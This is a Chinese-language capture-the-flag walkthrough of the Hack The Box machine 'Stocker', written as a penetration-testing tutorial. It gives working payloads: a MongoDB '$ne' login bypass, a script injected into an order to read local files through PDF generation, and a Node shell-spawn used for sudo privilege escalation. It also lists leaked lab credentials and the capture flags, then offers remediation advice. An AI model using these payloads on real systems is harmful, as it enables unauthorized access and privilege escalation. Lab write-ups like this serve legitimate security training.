[Meachines] [Easy] Stocker NOSQLI+PDF-XSS-LFI+*通配符Bypass权限提升
字数 776 2025-08-22 12:23:36

Stocker HTB 渗透测试教学文档

1. 信息收集

1.1 目标识别

  • IP地址: 10.10.11.196
  • 操作系统: Linux (Ubuntu)
  • 开放端口:
    • 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
    • 80/tcp: nginx 1.18.0 (Ubuntu)

1.2 主机发现与端口扫描

ip='10.10.11.196'; itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
  if [ -n "$ports" ]; then 
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
    nmap -Pn -sV -sC -p "$ports" "$ip"; 
  else 
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
  fi; 
else 
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

1.3 域名配置

echo '10.10.11.196 stocker.htb' >> /etc/hosts
echo '10.10.11.196 dev.stocker.htb' >> /etc/hosts

2. Web应用测试

2.1 NoSQL注入攻击

2.1.1 识别NoSQL数据库

  • 应用使用Content-Type: application/json
  • 可能使用MongoDB或其他NoSQL数据库

2.1.2 登录绕过

发送以下JSON数据到登录端点:

{
  "username": {"$ne": 1},
  "password": {"$ne": 1}
}

HTTP请求示例:

POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Type: application/json
Content-Length: 44

{"username":{"$ne":1},"password":{"$ne":1}}

2.2 PDF-XSS与LFI攻击

2.2.1 创建恶意订单

{
  "basket": [
    {
      "_id": "638f116eeb060210cbd83a8d",
      "title": "Cup<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(\"GET\",\"file:///etc/passwd\");x.send();</script>",
      "description": "xxxxx",
      "image": "red-cup.jpg",
      "price": 32,
      "currentStock": 4,
      "__v": 0,
      "amount": 2
    }
  ]
}

2.2.2 读取系统文件

通过修改XSS payload读取不同文件:

x.open("GET", "file:///var/www/dev/index.js");

2.2.3 获取凭据

从配置文件中发现:

  • 用户名: dev
  • 密码: IHeardPassphrasesArePrettySecure

3. 权限提升

3.1 利用通配符绕过

3.1.1 创建恶意JS文件

echo 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})' > /tmp/shell.js

3.1.2 执行特权操作

sudo /usr/bin/node /usr/local/scripts/tmp/shell.js

4. 关键发现

4.1 用户标志

950316457d8a4004ed601c5ba7e0ca53

4.2 Root标志

5fa73a7f3cabba1172cc894e1043f27b

5. 漏洞总结

  1. NoSQL注入漏洞:

    • 应用未对用户输入进行适当过滤
    • 使用MongoDB操作符($ne)实现认证绕过
  2. PDF-XSS与LFI漏洞:

    • 订单系统未对用户输入进行适当转义
    • 允许通过JavaScript读取本地文件
  3. 权限提升漏洞:

    • 不安全的sudo配置
    • 通配符路径解析问题导致命令注入

6. 修复建议

  1. 实施严格的输入验证和输出编码
  2. 使用参数化查询防止NoSQL注入
  3. 限制PDF生成中的JavaScript执行
  4. 实施适当的文件访问控制
  5. 审查sudo权限配置,避免通配符滥用
  6. 实施最小权限原则
Stocker HTB 渗透测试教学文档 1. 信息收集 1.1 目标识别 IP地址: 10.10.11.196 操作系统: Linux (Ubuntu) 开放端口: 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp: nginx 1.18.0 (Ubuntu) 1.2 主机发现与端口扫描 1.3 域名配置 2. Web应用测试 2.1 NoSQL注入攻击 2.1.1 识别NoSQL数据库 应用使用Content-Type: application/json 可能使用MongoDB或其他NoSQL数据库 2.1.2 登录绕过 发送以下JSON数据到登录端点: HTTP请求示例: 2.2 PDF-XSS与LFI攻击 2.2.1 创建恶意订单 2.2.2 读取系统文件 通过修改XSS payload读取不同文件: 2.2.3 获取凭据 从配置文件中发现: 用户名: dev 密码: IHeardPassphrasesArePrettySecure 3. 权限提升 3.1 利用通配符绕过 3.1.1 创建恶意JS文件 3.1.2 执行特权操作 4. 关键发现 4.1 用户标志 4.2 Root标志 5. 漏洞总结 NoSQL注入漏洞 : 应用未对用户输入进行适当过滤 使用MongoDB操作符($ne)实现认证绕过 PDF-XSS与LFI漏洞 : 订单系统未对用户输入进行适当转义 允许通过JavaScript读取本地文件 权限提升漏洞 : 不安全的sudo配置 通配符路径解析问题导致命令注入 6. 修复建议 实施严格的输入验证和输出编码 使用参数化查询防止NoSQL注入 限制PDF生成中的JavaScript执行 实施适当的文件访问控制 审查sudo权限配置,避免通配符滥用 实施最小权限原则